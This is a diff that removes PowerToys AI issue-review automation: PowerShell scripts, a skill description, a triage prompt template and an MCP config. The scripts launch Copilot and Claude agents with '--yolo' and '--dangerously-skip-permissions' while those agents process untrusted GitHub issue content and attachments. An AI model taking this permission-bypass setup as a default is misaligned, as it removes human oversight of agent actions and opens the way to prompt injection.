throw "implementation-plan.md not found for issue #$IssueNumber at: $implPlanPath. Run issue-review first."
}
Info "Found review files for issue #$IssueNumber"
Info " Overview: $overviewPath"
Info " Implementation plan: $implPlanPath"
#endregion
#region Determine iteration
$outputDir = Join-Path $genFiles "issueReviewReview/$IssueNumber"
Ensure-DirectoryExists -Path $outputDir
$existingSignalPath = Join-Path $outputDir '.signal'
$iteration = 1
if (Test-Path $existingSignalPath) {
try {
$existingSignal = Get-Content $existingSignalPath -Raw | ConvertFrom-Json
$iteration = ([int]$existingSignal.iteration) + 1
Info "Previous review-review found (iteration $($existingSignal.iteration), score: $($existingSignal.qualityScore))"
# Archive previous output
$archiveDir = Join-Path $outputDir "iteration-$($existingSignal.iteration)"
Ensure-DirectoryExists -Path $archiveDir
$prevReviewPath = Join-Path $outputDir 'reviewTheReview.md'
if (Test-Path $prevReviewPath) {
Copy-Item $prevReviewPath (Join-Path $archiveDir 'reviewTheReview.md') -Force
Info "Archived previous review to: $archiveDir"
}
}
catch {
Warn "Could not parse existing signal, starting fresh"
}
}
Info "Starting review-review iteration $iteration for issue #$IssueNumber"
#endregion
if ($DryRun) {
Warn "Dry run mode - would review-review issue #$IssueNumber (iteration $iteration)"
return
}
if (-not $Force) {
$confirm = Read-Host "Proceed with review-review for issue #$IssueNumber? (y/N)"
if ($confirm -notmatch '^[yY]') {
Info "Cancelled."
return
}
}
#region Build and run AI prompt
$promptText = @"
TASK: Write a meta-review file to 'Generated Files/issueReviewReview/$IssueNumber/reviewTheReview.md'.
You MUST create this file before finishing. This is your primary deliverable.
Issue number: $IssueNumber
Iteration: $iteration
STEP 1 - Read these inputs:
- Run: gh issue view $IssueNumber --json number,title,body,state,labels,comments
- Read file: Generated Files/issueReview/$IssueNumber/overview.md
- Read file: Generated Files/issueReview/$IssueNumber/implementation-plan.md
$(if ($iteration -gt 1) { "- Read file: Generated Files/issueReviewReview/$IssueNumber/iteration-$($iteration - 1)/reviewTheReview.md" })
STEP 2 - Verify file paths from the implementation plan exist using test -f or ls.
STEP 3 - Verify code patterns from the implementation plan using rg.
STEP 4 - Write the file 'Generated Files/issueReviewReview/$IssueNumber/reviewTheReview.md' with this structure:
# Meta-Review: Issue #$IssueNumber
## Score Validation
| Dimension | Original Score | Verified Score | Evidence |
|-----------|---------------|----------------|----------|
(validate each score dimension from overview.md against actual codebase evidence)
## Implementation Plan Verification
- File paths: which exist, which don't
- Patterns: which are correct, which are wrong
- Task breakdown: are tasks specific and executable?
## Quality Score Breakdown
| Dimension | Weight | Score | Weighted |
|-----------|--------|-------|----------|
| Score Accuracy | 30% | X/100 | X |
| Implementation Correctness | 25% | X/100 | X |
| Risk Assessment | 15% | X/100 | X |
| Completeness | 15% | X/100 | X |
| Actionability | 15% | X/100 | X |
| **Total** | | | **X/100** |
## Review Quality Score: X/100
## Verdict: PASS/NEEDS_IMPROVEMENT/FAIL
## Corrective Feedback
(specific items the review should fix, if any)
CRITICAL: You MUST write the output file. Do NOT just describe what you would do. Actually create the file.
"@
$mcpConfig = "@$_cfgDir/skills/issue-review-review/references/mcp-config.json"
switch ($CLIType) {
'copilot' {
$cliArgs = @(
'--additional-mcp-config', $mcpConfig,
'-p', $promptText,
'--yolo',
'-s',
'--enable-all-github-mcp-tools',
'--allow-tool', 'github-artifacts',
'--agent', 'ReviewTheReview'
)
if ($Model) {
$cliArgs += @('--model', $Model)
}
Info "Running Copilot CLI for review-review..."
& copilot @cliArgs 2>&1 | Out-Default
$exitCode = $LASTEXITCODE
}
'claude' {
$cliArgs = @(
'--print',
'--dangerously-skip-permissions',
'--agent', 'ReviewTheReview',
'--prompt', $promptText
)
Info "Running Claude CLI for review-review..."
& claude @cliArgs 2>&1 | Out-Default
$exitCode = $LASTEXITCODE
}
}
#endregion
#region Parse result and write signal
$reviewTheReviewPath = Join-Path $outputDir 'reviewTheReview.md'
if (-not (Test-Path $reviewTheReviewPath)) {
# CLI may have failed
Err "reviewTheReview.md was not generated for issue #$IssueNumber"
@{
status = 'failure'
issueNumber = $IssueNumber
timestamp = (Get-Date).ToString('o')
qualityScore = 0
iteration = $iteration
outputs = @()
needsReReview = $true
error = "Output file not generated (exit code: $exitCode)"
} | ConvertTo-Json | Set-Content $existingSignalPath -Force
return @{
IssueNumber = $IssueNumber
Status = 'failure'
QualityScore = 0
Iteration = $iteration
NeedsReReview = $true
Error = "Output file not generated"
}
}
# Parse quality score from the generated reviewTheReview.md
$content = Get-Content $reviewTheReviewPath -Raw
$qualityScore = 0
# Try to extract "Review Quality Score: X/100"
if ($content -match 'Review Quality Score:\s*(\d+)/100') {
$qualityScore = [int]$Matches[1]
}
# Also try total from breakdown table: "| **Total** | | | **X/100** |"
elseif ($content -match '\*\*Total\*\*[^|]*\|[^|]*\|[^|]*\|\s*\*\*(\d+)/100\*\*') {
$qualityScore = [int]$Matches[1]
}
# Fallback: any line with "Quality Score" and a number
elseif ($content -match 'Quality Score[^\d]*(\d+)') {
$qualityScore = [int]$Matches[1]
}
$needsReReview = $qualityScore -lt 90
# Determine verdict
$verdict = if ($qualityScore -ge 90) { 'PASS' }
elseif ($qualityScore -ge 50) { 'NEEDS_IMPROVEMENT' }
else { 'FAIL' }
# Write signal
$signal = @{
status = 'success'
issueNumber = $IssueNumber
timestamp = (Get-Date).ToString('o')
qualityScore = $qualityScore
iteration = $iteration
verdict = $verdict
outputs = @('reviewTheReview.md')
needsReReview = $needsReReview
}
$signal | ConvertTo-Json | Set-Content $existingSignalPath -Force
if ($needsReReview) {
Warn "Review-review score: $qualityScore/100 (iteration $iteration) — NEEDS RE-REVIEW"
Warn "Feedback written to: $reviewTheReviewPath"
Warn "Re-run issue-review with: -FeedbackFile `"$reviewTheReviewPath`""
}
else {
Success "Review-review score: $qualityScore/100 (iteration $iteration) — PASS"
Success "Review quality is sufficient. Proceed to issue-fix."
}
Info "Signal: $existingSignalPath"
#endregion
return @{
IssueNumber = $IssueNumber
Status = 'success'
QualityScore = $qualityScore
Iteration = $iteration
Verdict = $verdict
NeedsReReview = $needsReReview
}
}
catch {
Err "Error: $($_.Exception.Message)"
# Write failure signal
$outputDir = Join-Path (Get-GeneratedFilesPath -RepoRoot (Get-RepoRoot)) "issueReviewReview/$IssueNumber"
Ensure-DirectoryExists -Path $outputDir
$signalPath = Join-Path $outputDir '.signal'
@{
status = 'failure'
issueNumber = $IssueNumber
timestamp = (Get-Date).ToString('o')
qualityScore = 0
iteration = 1
outputs = @()
needsReReview = $true
error = $_.Exception.Message
} | ConvertTo-Json | Set-Content $signalPath -Force
return @{
IssueNumber = $IssueNumber
Status = 'failure'
QualityScore = 0
Iteration = 1
NeedsReReview = $true
Error = $_.Exception.Message
}
}
#endregion

View File

@@ -1,111 +0,0 @@
<#
.SYNOPSIS
Run issue-review-review in parallel from a single terminal.
.PARAMETER IssueNumbers
Issue numbers to review-review.
.PARAMETER ThrottleLimit
Maximum parallel tasks.
.PARAMETER CLIType
AI CLI type (copilot/claude).
.PARAMETER Model
Copilot CLI model to use (e.g., gpt-5.2-codex).
.PARAMETER Force
Skip confirmation prompts.
#>
[CmdletBinding()]
param(
[Parameter(Mandatory)]
[int[]]$IssueNumbers,
[int]$ThrottleLimit = 5,
[ValidateSet('copilot', 'claude')]
[string]$CLIType = 'copilot',
[string]$Model,
[switch]$Force
)
$repoRoot = Resolve-Path (Join-Path $PSScriptRoot '..\..\..\..')
# Resolve config directory name (.github or .claude) from script location
$_cfgDir = if ($PSScriptRoot -match '[\\/](\.github|\.claude)[\\/]') { $Matches[1] } else { '.github' }
$scriptPath = Join-Path $repoRoot "$_cfgDir\skills\issue-review-review\scripts\Start-IssueReviewReview.ps1"
$results = $IssueNumbers | ForEach-Object -Parallel {
$issue = $PSItem
$repoRoot = $using:repoRoot
$scriptPath = $using:scriptPath
$cliType = $using:CLIType
$model = $using:Model
$force = $using:Force
Set-Location $repoRoot
if (-not $issue) {
return [pscustomobject]@{
IssueNumber = $issue
ExitCode = 1
QualityScore = 0
Error = 'Issue number is empty.'
}
}
$params = @{
IssueNumber = [int]$issue
CLIType = $cliType
}
if ($model) {
$params.Model = $model
}
if ($force) {
$params.Force = $true
}
try {
$result = & $scriptPath @params
[pscustomobject]@{
IssueNumber = $issue
ExitCode = $LASTEXITCODE
QualityScore = $result.QualityScore
NeedsReReview = $result.NeedsReReview
Iteration = $result.Iteration
Verdict = $result.Verdict
}
}
catch {
[pscustomobject]@{
IssueNumber = $issue
ExitCode = 1
QualityScore = 0
NeedsReReview = $true
Error = $_.Exception.Message
}
}
} -ThrottleLimit $ThrottleLimit
# Summary
$passed = @($results | Where-Object { $_.QualityScore -ge 90 })
$needsWork = @($results | Where-Object { $_.QualityScore -gt 0 -and $_.QualityScore -lt 90 })
$failed = @($results | Where-Object { $_.QualityScore -eq 0 -or $_.Error })
Write-Host "`n=== REVIEW-REVIEW SUMMARY ===" -ForegroundColor Cyan
Write-Host "Total: $($results.Count)"
Write-Host "Passed (>=90): $($passed.Count)" -ForegroundColor Green
Write-Host "Needs work: $($needsWork.Count)" -ForegroundColor Yellow
Write-Host "Failed: $($failed.Count)" -ForegroundColor Red
if ($needsWork.Count -gt 0) {
Write-Host "`nIssues needing re-review:" -ForegroundColor Yellow
foreach ($r in $needsWork) {
Write-Host " #$($r.IssueNumber) — score: $($r.QualityScore)/100 (iteration $($r.Iteration))"
}
}
$results

View File

@@ -1,148 +0,0 @@
---
name: issue-review
description: Analyze GitHub issues for feasibility and implementation planning. Use when asked to review an issue, analyze if an issue is fixable, evaluate issue complexity, create implementation plan for an issue, triage issues, assess technical feasibility, or estimate effort for an issue. Outputs structured analysis including feasibility score, clarity score, effort estimate, and detailed implementation plan.
license: Complete terms in LICENSE.txt
---
# Issue Review Skill
Analyze GitHub issues to determine technical feasibility, requirement clarity, and create detailed implementation plans for PowerToys.
## Skill Contents
This skill is **self-contained** with all required resources:
```
.github/skills/issue-review/
├── SKILL.md # This file
├── LICENSE.txt # MIT License
├── scripts/
│ ├── IssueReviewLib.ps1 # Shared library functions
│ └── Start-BulkIssueReview.ps1 # Main review script
└── references/
└── review-issue.prompt.md # Full AI prompt template
```
## Output Directory
All generated artifacts are placed under `Generated Files/issueReview/<issue-number>/` at the repository root (gitignored).
```
Generated Files/issueReview/
└── <issue-number>/
├── overview.md # High-level assessment with scores
├── implementation-plan.md # Detailed step-by-step fix plan
├── _raw-issue.json # Cached issue data from GitHub
└── .signal # Completion signal for orchestrator
```
## Signal File
On completion, a `.signal` file is created for orchestrator coordination:
```json
{
"status": "success",
"issueNumber": 45363,
"timestamp": "2026-02-04T10:05:23Z",
"outputs": ["overview.md", "implementation-plan.md"]
}
```
Status values: `success`, `failure`
## When to Use This Skill
- Review a specific GitHub issue for feasibility
- Analyze whether an issue can be fixed by AI
- Create an implementation plan for an issue
- Triage issues by complexity and clarity
- Estimate effort for fixing an issue
- Evaluate technical requirements of an issue
## Prerequisites
- GitHub CLI (`gh`) installed and authenticated
- PowerShell 7+ for running scripts
## Required Variables
⚠️ **Before starting**, confirm `{{IssueNumber}}` with the user. If not provided, **ASK**: "What issue number should I review?"
| Variable | Description | Example |
|----------|-------------|---------|
| `{{IssueNumber}}` | GitHub issue number to analyze | `44044` |
## Workflow
### Step 1: Run Issue Review
Execute the review script (use paths relative to this skill folder):
```powershell
# From repo root
.github/skills/issue-review/scripts/Start-BulkIssueReview.ps1 -IssueNumber {{IssueNumber}}
```
This will:
1. Fetch issue details from GitHub
2. Analyze the codebase for relevant files
3. Generate `overview.md` with feasibility assessment
4. Generate `implementation-plan.md` with detailed steps
### Step 2: Review Output
Check the generated files at `Generated Files/issueReview/{{IssueNumber}}/`:
| File | Contains |
|------|----------|
| `overview.md` | Feasibility score (0-100), Clarity score (0-100), Effort estimate, Risk assessment |
| `implementation-plan.md` | Step-by-step implementation with file paths, code snippets, test requirements |
### Step 3: Interpret Scores
| Score Range | Interpretation |
|-------------|----------------|
| 80-100 | High confidence - straightforward fix |
| 60-79 | Medium confidence - some complexity |
| 40-59 | Low confidence - significant challenges |
| 0-39 | Very low - may need human intervention |
## Batch Review
To review multiple issues at once:
```powershell
.github/skills/issue-review/scripts/Start-BulkIssueReview.ps1 -IssueNumbers 44044, 32950, 45029
```
## AI Prompt Reference
For manual AI invocation, the full prompt is at:
- `references/review-issue.prompt.md` (relative to this skill folder)
## Re-Review with Feedback
When the `issue-review-review` skill identifies quality issues, re-run with feedback:
```powershell
.github/skills/issue-review/scripts/Start-BulkIssueReview.ps1 -IssueNumber {{IssueNumber}} -FeedbackFile "Generated Files/issueReviewReview/{{IssueNumber}}/reviewTheReview.md" -Force
```
The `-FeedbackFile` parameter injects corrective feedback into the AI prompt so the review addresses specific issues found by the meta-review.
## Troubleshooting
| Problem | Solution |
|---------|----------|
| Issue not found | Verify issue number exists: `gh issue view {{IssueNumber}}` |
| No implementation plan | Issue may be unclear - check `overview.md` for clarity score |
| Script errors | Ensure you're in the PowerToys repo root |
## Related Skills
| Skill | Purpose |
|-------|---------|
| `issue-review-review` | Validate review quality, loop until score ≥ 90 |
| `issue-fix` | Fix issues after review, create PRs |
| `issue-to-pr-cycle` | Full orchestration (review → fix → PR → review loop) |

View File

@@ -1,9 +0,0 @@
{
"mcpServers": {
"github-artifacts": {
"command": "cmd",
"args": ["/c", "for /f %i in ('git rev-parse --show-toplevel') do node %i/tools/mcp/github-artifacts/launch.js"],
"tools": ["*"]
}
}
}

View File

@@ -1,165 +0,0 @@
---
agent: 'agent'
description: 'Review a GitHub issue, score it (0-100), and generate an implementation plan'
---
# Review GitHub Issue
## Goal
For **#{{issue_number}}** produce:
1) `Generated Files/issueReview/{{issue_number}}/overview.md`
2) `Generated Files/issueReview/{{issue_number}}/implementation-plan.md`
## Inputs
Figure out required inputs {{issue_number}} from the invocation context; if anything is missing, ask for the value or note it as a gap.
# CONTEXT (brief)
Ground evidence using `gh issue view {{issue_number}} --json number,title,body,author,createdAt,updatedAt,state,labels,milestone,reactions,comments,linkedPullRequests`, download images via MCP `github_issue_images` to better understand the issue context. Finally, use MCP `github_issue_attachments` to download logs with parameter `extractFolder` as `Generated Files/issueReview/{{issue_number}}/logs`, and analyze the downloaded logs if available to identify relevant issues. Locate the source code in the current workspace (use `rg`/`git grep` as needed). Link related issues and PRs.
## When to call MCP tools
If the following MCP "github-artifacts" tools are available in the environment, use them:
- `github_issue_images`: use when the issue/PR likely contains screenshots or other visual evidence (UI bugs, glitches, design problems).
- `github_issue_attachments`: use when the issue/PR mentions attached ZIPs (PowerToysReport_*.zip, logs.zip, debug.zip) or asks to analyze logs/diagnostics. Always provide `extractFolder` as `Generated Files/issueReview/{{issue_number}}/logs`
If these tools are not available (not listed by the runtime), start the MCP server "github-artifacts" first.
# OVERVIEW.MD
## Summary
Issue, state, milestone, labels. **Signals**: 👍/❤️/👎, comment count, last activity, linked PRs.
## At-a-Glance Score Table
Present all ratings in a compact table for quick scanning:
| Dimension | Score | Assessment | Key Drivers |
|-----------|-------|------------|-------------|
| **A) Business Importance** | X/100 | Low/Medium/High | Top 2 factors with scores |
| **B) Community Excitement** | X/100 | Low/Medium/High | Top 2 factors with scores |
| **C) Technical Feasibility** | X/100 | Low/Medium/High | Top 2 factors with scores |
| **D) Requirement Clarity** | X/100 | Low/Medium/High | Top 2 factors with scores |
| **Overall Priority** | X/100 | Low/Medium/High/Critical | Average or weighted summary |
| **Effort Estimate** | X days (T-shirt) | XS/S/M/L/XL/XXL/Epic | Type: bug/feature/chore |
| **Similar Issues Found** | X open, Y closed | — | Quick reference to related work |
| **Potential Assignees** | @username, @username | — | Top contributors to module |
**Assessment bands**: 0-25 Low, 26-50 Medium, 51-75 High, 76-100 Critical
## Ratings (0100) — add evidence & short rationale
### A) Business Importance
- Labels (priority/security/regression): **≤35**
- Milestone/roadmap: **≤25**
- Customer/contract impact: **≤20**
- Unblocks/platform leverage: **≤20**
### B) Community Excitement
- 👍+❤️ normalized: **≤45**
- Comment volume & unique participants: **≤25**
- Recent activity (≤30d): **≤15**
- Duplicates/related issues: **≤15**
### C) Technical Feasibility
- Contained surface/clear seams: **≤30**
- Existing patterns/utilities: **≤25**
- Risk (perf/sec/compat) manageable: **≤25**
- Testability & CI support: **≤20**
### D) Requirement Clarity
- Behavior/repro/constraints: **≤60**
- Non-functionals (perf/sec/i18n/a11y): **≤25**
- Decision owners/acceptance signals: **≤15**
## Effort
Days + **T-shirt** (XS 0.51d, S 12, M 24, L 47, XL 714, XXL 1430, Epic >30).
Type/level: bug/feature/chore/docs/refactor/test-only; severity/value tier.
## Suggested Actions
Provide actionable recommendations for issue triage and assignment:
### A) Requirement Clarification (if Clarity score <50)
**When Requirement Clarity (Dimension D) is Medium or Low:**
- Identify specific gaps in issue description: missing repro steps, unclear expected behavior, undefined acceptance criteria, missing non-functional requirements
- Draft 3-5 clarifying questions to post as issue comment
- Suggest additional information needed: screenshots, logs, environment details, OS version, PowerToys version, error messages
- If behavior is ambiguous, propose 2-3 interpretation scenarios and ask reporter to confirm
- Example questions:
- "Can you provide exact steps to reproduce this issue?"
- "What is the expected behavior vs. what you're actually seeing?"
- "Does this happen on Windows 10, 11, or both?"
- "Can you attach a screenshot or screen recording?"
### B) Correct Label Suggestions
- Analyze issue type, module, and severity to suggest missing or incorrect labels
- Recommend labels from: `Issue-Bug`, `Issue-Feature`, `Issue-Docs`, `Issue-Task`, `Priority-High`, `Priority-Medium`, `Priority-Low`, `Needs-Triage`, `Needs-Author-Feedback`, `Product-<ModuleName>`, etc.
- If Requirement Clarity is low (<50), add `Needs-Author-Feedback` label
- If current labels are incorrect or incomplete, provide specific label changes with rationale
### C) Find Similar Issues & Past Fixes
- Search for similar issues using `gh issue list --search "keywords" --state all --json number,title,state,closedAt`
- Identify patterns: duplicate issues, related bugs, or similar feature requests
- For closed issues, find linked PRs that fixed them: check `linkedPullRequests` in issue data
- Provide 3-5 examples of similar issues with format: `#<number> - <title> (closed by PR #<pr>)` or `(still open)`
### D) Identify Subject Matter Experts
- Use git blame/log to find who fixed similar issues in the past
- Search for PR authors who touched relevant files: `git log --all --format='%aN' -- <file_paths> | sort | uniq -c | sort -rn | head -5`
- Check issue/PR history for frequent contributors to the affected module
- Suggest 2-3 potential assignees with context: `@<username> - <reason>` (e.g., "fixed similar rendering bug in #12345", "maintains FancyZones module")
### E) Semantic Search for Related Work
- Use semantic_search tool to find similar issues, code patterns, or past discussions
- Search queries should include: issue keywords, module names, error messages, feature descriptions
- Cross-reference semantic results with GitHub issue search for comprehensive coverage
**Output format for Suggested Actions section in overview.md:**
```markdown
## Suggested Actions
### Clarifying Questions (if Clarity <50)
Post these questions as issue comment to gather missing information:
1. <question>
2. <question>
3. <question>
**Recommended label**: `Needs-Author-Feedback`
### Label Recommendations
- Add: `<label>` - <reason>
- Remove: `<label>` - <reason>
- Current labels are appropriate ✓
### Similar Issues Found
1. #<number> - <title> (<state>, closed by PR #<pr> on <date>)
2. #<number> - <title> (<state>)
...
### Potential Assignees
- @<username> - <reason>
- @<username> - <reason>
### Related Code/Discussions
- <semantic search findings>
```
# IMPLEMENTATION-PLAN.MD
1) **Problem Framing** — restate problem; current vs expected; scope boundaries.
2) **Layers & Files** — layers (UI/domain/data/infra/build). For each, list **files/dirs to modify** and **new files** (exact paths + why). Prefer repo patterns; cite examples/PRs.
3) **Pattern Choices** — reuse existing; if new, justify trade-offs & transition.
4) **Fundamentals** (brief plan or N/A + reason):
- Performance (hot paths, allocs, caching/streaming)
- Security (validation, authN/Z, secrets, SSRF/XSS/CSRF)
- G11N/L10N (resources, number/date, pluralization)
- Compatibility (public APIs, formats, OS/runtime/toolchain)
- Extensibility (DI seams, options/flags, plugin points)
- Accessibility (roles, labels, focus, keyboard, contrast)
- SOLID & repo conventions (naming, folders, dependency direction)
5) **Logging & Exception Handling**
- Where to log; levels; structured fields; correlation/traces.
- What to catch vs rethrow; retries/backoff; user-visible errors.
- **Privacy**: never log secrets/PII; redaction policy.
6) **Telemetry (optional — business metrics only)**
- Events/metrics (name, when, props); success signal; privacy/sampling; dashboards/alerts.
7) **Risks & Mitigations** — flags/canary/shadow-write/config guards.
8) **Task Breakdown (agent-ready)** — table (leave a blank line before the header so Markdown renders correctly):
| Task | Intent | Files/Areas | Steps | Tests (brief) | Owner (Agent/Human) | Human interaction needed? (why) |
|---|---|---|---|---|---|---|
9) **Tests to Add (only)**
- **Unit**: targets, cases (success/edge/error), mocks/fixtures, path, notes.
- **UI** (if applicable): flows, locator strategy, env/data/flags, path, flake mitigation.

View File

@@ -1,777 +0,0 @@
# IssueReviewLib.ps1 - Shared helpers for bulk issue review automation
# Part of the PowerToys GitHub Copilot/Claude Code issue review system
# Resolve config directory name (.github or .claude) from this script's location
$_cfgDir = if ($PSScriptRoot -match '[\\/](\.github|\.claude)[\\/]') { $Matches[1] } else { '.github' }
#region Console Output Helpers
function Info { param([string]$Message) Write-Host $Message -ForegroundColor Cyan }
function Warn { param([string]$Message) Write-Host $Message -ForegroundColor Yellow }
function Err { param([string]$Message) Write-Host $Message -ForegroundColor Red }
function Success { param([string]$Message) Write-Host $Message -ForegroundColor Green }
#endregion
#region Repository Helpers
function Get-RepoRoot {
$root = git rev-parse --show-toplevel 2>$null
if (-not $root) { throw 'Not inside a git repository.' }
return (Resolve-Path $root).Path
}
function Get-GeneratedFilesPath {
param([string]$RepoRoot)
return Join-Path $RepoRoot 'Generated Files'
}
function Get-IssueReviewPath {
param(
[string]$RepoRoot,
[int]$IssueNumber
)
$genFiles = Get-GeneratedFilesPath -RepoRoot $RepoRoot
return Join-Path $genFiles "issueReview/$IssueNumber"
}
function Get-IssueTitleFromOverview {
<#
.SYNOPSIS
Extract issue title from existing overview.md file.
.DESCRIPTION
Parses the overview.md to get the issue title without requiring GitHub CLI.
#>
param(
[Parameter(Mandatory)]
[string]$OverviewPath
)
if (-not (Test-Path $OverviewPath)) {
return $null
}
$content = Get-Content $OverviewPath -Raw
# Try to match title from Summary table: | **Title** | <title> |
if ($content -match '\*\*Title\*\*\s*\|\s*([^|]+)\s*\|') {
return $Matches[1].Trim()
}
# Try to match from header: # Issue #XXXX: <title>
if ($content -match '# Issue #\d+[:\s]+(.+)$' ) {
return $Matches[1].Trim()
}
# Try to match: # Issue #XXXX Review: <title>
if ($content -match '# Issue #\d+ Review[:\s]+(.+)$') {
return $Matches[1].Trim()
}
return $null
}
function Ensure-DirectoryExists {
param([string]$Path)
if (-not (Test-Path $Path)) {
New-Item -ItemType Directory -Path $Path -Force | Out-Null
}
}
#endregion
#region GitHub Issue Query Helpers
function Get-GitHubIssues {
<#
.SYNOPSIS
Query GitHub issues by label, state, and sort order.
.PARAMETER Labels
Comma-separated list of labels to filter by (e.g., "bug,help wanted").
.PARAMETER State
Issue state: open, closed, or all. Default: open.
.PARAMETER Sort
Sort field: created, updated, comments, reactions. Default: created.
.PARAMETER Order
Sort order: asc or desc. Default: desc.
.PARAMETER Limit
Maximum number of issues to return. Default: 100.
.PARAMETER Repository
Repository in owner/repo format. Default: microsoft/PowerToys.
#>
param(
[string]$Labels,
[ValidateSet('open', 'closed', 'all')]
[string]$State = 'open',
[ValidateSet('created', 'updated', 'comments', 'reactions')]
[string]$Sort = 'created',
[ValidateSet('asc', 'desc')]
[string]$Order = 'desc',
[int]$Limit = 100,
[string]$Repository = 'microsoft/PowerToys'
)
$ghArgs = @('issue', 'list', '--repo', $Repository, '--state', $State, '--limit', $Limit)
if ($Labels) {
foreach ($label in ($Labels -split ',')) {
$ghArgs += @('--label', $label.Trim())
}
}
# Build JSON fields (use reactionGroups instead of reactions)
$jsonFields = 'number,title,state,labels,createdAt,updatedAt,author,reactionGroups,comments'
$ghArgs += @('--json', $jsonFields)
Info "Querying issues: gh $($ghArgs -join ' ')"
$result = & gh @ghArgs 2>&1
if ($LASTEXITCODE -ne 0) {
throw "Failed to query issues: $result"
}
$issues = $result | ConvertFrom-Json
# Sort by reactions if requested (gh CLI doesn't support this natively)
if ($Sort -eq 'reactions') {
$issues = $issues | ForEach-Object {
# reactionGroups is an array of {content, users} - sum up user counts
$totalReactions = ($_.reactionGroups | ForEach-Object { $_.users.totalCount } | Measure-Object -Sum).Sum
if (-not $totalReactions) { $totalReactions = 0 }
$_ | Add-Member -NotePropertyName 'totalReactions' -NotePropertyValue $totalReactions -PassThru
}
if ($Order -eq 'desc') {
$issues = $issues | Sort-Object -Property totalReactions -Descending
} else {
$issues = $issues | Sort-Object -Property totalReactions
}
}
return $issues
}
function Get-IssueDetails {
<#
.SYNOPSIS
Get detailed information about a specific issue.
#>
param(
[Parameter(Mandatory)]
[int]$IssueNumber,
[string]$Repository = 'microsoft/PowerToys'
)
$jsonFields = 'number,title,body,state,labels,createdAt,updatedAt,author,reactions,comments,linkedPullRequests,milestone'
$result = gh issue view $IssueNumber --repo $Repository --json $jsonFields 2>&1
if ($LASTEXITCODE -ne 0) {
throw "Failed to get issue #$IssueNumber`: $result"
}
return $result | ConvertFrom-Json
}
#endregion
#region CLI Detection and Execution
function Get-AvailableCLI {
<#
.SYNOPSIS
Detect which AI CLI is available: GitHub Copilot CLI or Claude Code.
.OUTPUTS
Returns object with: Name, Command, PromptArg
#>
# Check for standalone GitHub Copilot CLI (copilot command)
$copilotCLI = Get-Command 'copilot' -ErrorAction SilentlyContinue
if ($copilotCLI) {
return @{
Name = 'GitHub Copilot CLI'
Command = 'copilot'
Args = @('-p') # Non-interactive prompt mode
Type = 'copilot'
}
}
# Check for Claude Code CLI
$claudeCode = Get-Command 'claude' -ErrorAction SilentlyContinue
if ($claudeCode) {
return @{
Name = 'Claude Code CLI'
Command = 'claude'
Args = @()
Type = 'claude'
}
}
# Check for GitHub Copilot CLI via gh extension
$ghCopilot = Get-Command 'gh' -ErrorAction SilentlyContinue
if ($ghCopilot) {
$copilotCheck = gh extension list 2>&1 | Select-String -Pattern 'copilot'
if ($copilotCheck) {
return @{
Name = 'GitHub Copilot CLI (gh extension)'
Command = 'gh'
Args = @('copilot', 'suggest')
Type = 'gh-copilot'
}
}
}
# Check for VS Code CLI with Copilot
$code = Get-Command 'code' -ErrorAction SilentlyContinue
if ($code) {
return @{
Name = 'VS Code (Copilot Chat)'
Command = 'code'
Args = @()
Type = 'vscode'
}
}
return $null
}
function Invoke-AIReview {
<#
.SYNOPSIS
Invoke AI CLI to review a single issue.
.PARAMETER IssueNumber
The issue number to review.
.PARAMETER RepoRoot
Repository root path.
.PARAMETER CLIType
CLI type: 'claude', 'copilot', 'gh-copilot', or 'vscode'.
.PARAMETER WorkingDirectory
Working directory for the CLI command.
.PARAMETER FeedbackContext
Optional feedback from review-the-review to incorporate into the re-review.
.PARAMETER Model
Optional model override for Copilot CLI (e.g., claude-sonnet-4).
#>
param(
[Parameter(Mandatory)]
[int]$IssueNumber,
[Parameter(Mandatory)]
[string]$RepoRoot,
[ValidateSet('claude', 'copilot', 'gh-copilot', 'vscode')]
[string]$CLIType = 'copilot',
[string]$WorkingDirectory,
[string]$FeedbackContext,
[string]$Model
)
if (-not $WorkingDirectory) {
$WorkingDirectory = $RepoRoot
}
$promptFile = Join-Path $RepoRoot "$_cfgDir/prompts/review-issue.prompt.md"
if (-not (Test-Path $promptFile)) {
throw "Prompt file not found: $promptFile"
}
# Prepare the prompt with issue number substitution
$promptContent = Get-Content $promptFile -Raw
$promptContent = $promptContent -replace '\{\{issue_number\}\}', $IssueNumber
# Create temp prompt file
$tempPromptDir = Join-Path $env:TEMP "issue-review-$IssueNumber"
Ensure-DirectoryExists -Path $tempPromptDir
$tempPromptFile = Join-Path $tempPromptDir "prompt.md"
$promptContent | Set-Content -Path $tempPromptFile -Encoding UTF8
# Build the prompt text for CLI
$promptText = "Review GitHub issue #$IssueNumber following the template in $_cfgDir/prompts/review-issue.prompt.md. Generate overview.md and implementation-plan.md in 'Generated Files/issueReview/$IssueNumber/'"
# Inject feedback from review-the-review if available
if ($FeedbackContext) {
$promptText += @"
IMPORTANT: This is a RE-REVIEW. A previous review was rejected by the quality gate. You MUST address ALL the corrective feedback below. Read the feedback carefully and fix every issue identified.
=== CORRECTIVE FEEDBACK FROM REVIEW-THE-REVIEW ===
$FeedbackContext
=== END FEEDBACK ===
Pay special attention to:
1. Score corrections adjust scores to match the evidence cited in the feedback
2. File path corrections verify all paths exist before including them
3. Pattern corrections use the patterns identified as correct in the feedback
4. Missing coverage add any sections flagged as missing
5. Task breakdown fixes make tasks specific and executable
"@
}
switch ($CLIType) {
'copilot' {
# GitHub Copilot CLI (standalone copilot command)
# Use --yolo for full permissions (--allow-all-tools --allow-all-paths --allow-all-urls)
# Use -s (silent) for cleaner output in batch mode
# Enable ALL GitHub MCP tools (issues, PRs, repos, etc.) + github-artifacts for images/attachments
# MCP config path relative to repo root for github-artifacts tools
$mcpConfig = "@$_cfgDir/skills/issue-review/references/mcp-config.json"
$args = @(
'--additional-mcp-config', $mcpConfig, # Load github-artifacts MCP for image/attachment analysis
'-p', $promptText, # Non-interactive prompt mode (exits after completion)
'--yolo', # Enable all permissions for automated execution
'-s', # Silent mode - output only agent response
'--enable-all-github-mcp-tools', # Enable ALL GitHub MCP tools (issues, PRs, search, etc.)
'--allow-tool', 'github-artifacts', # Also enable our custom github-artifacts MCP
'--agent', 'ReviewIssue'
)
if ($Model) {
$args += @('--model', $Model)
}
return @{
Command = 'copilot'
Arguments = $args
WorkingDirectory = $WorkingDirectory
IssueNumber = $IssueNumber
}
}
'claude' {
# Claude Code CLI
$args = @(
'--print', # Non-interactive mode
'--dangerously-skip-permissions',
'--agent', 'ReviewIssue',
'--prompt', $promptText
)
return @{
Command = 'claude'
Arguments = $args
WorkingDirectory = $WorkingDirectory
IssueNumber = $IssueNumber
}
}
'gh-copilot' {
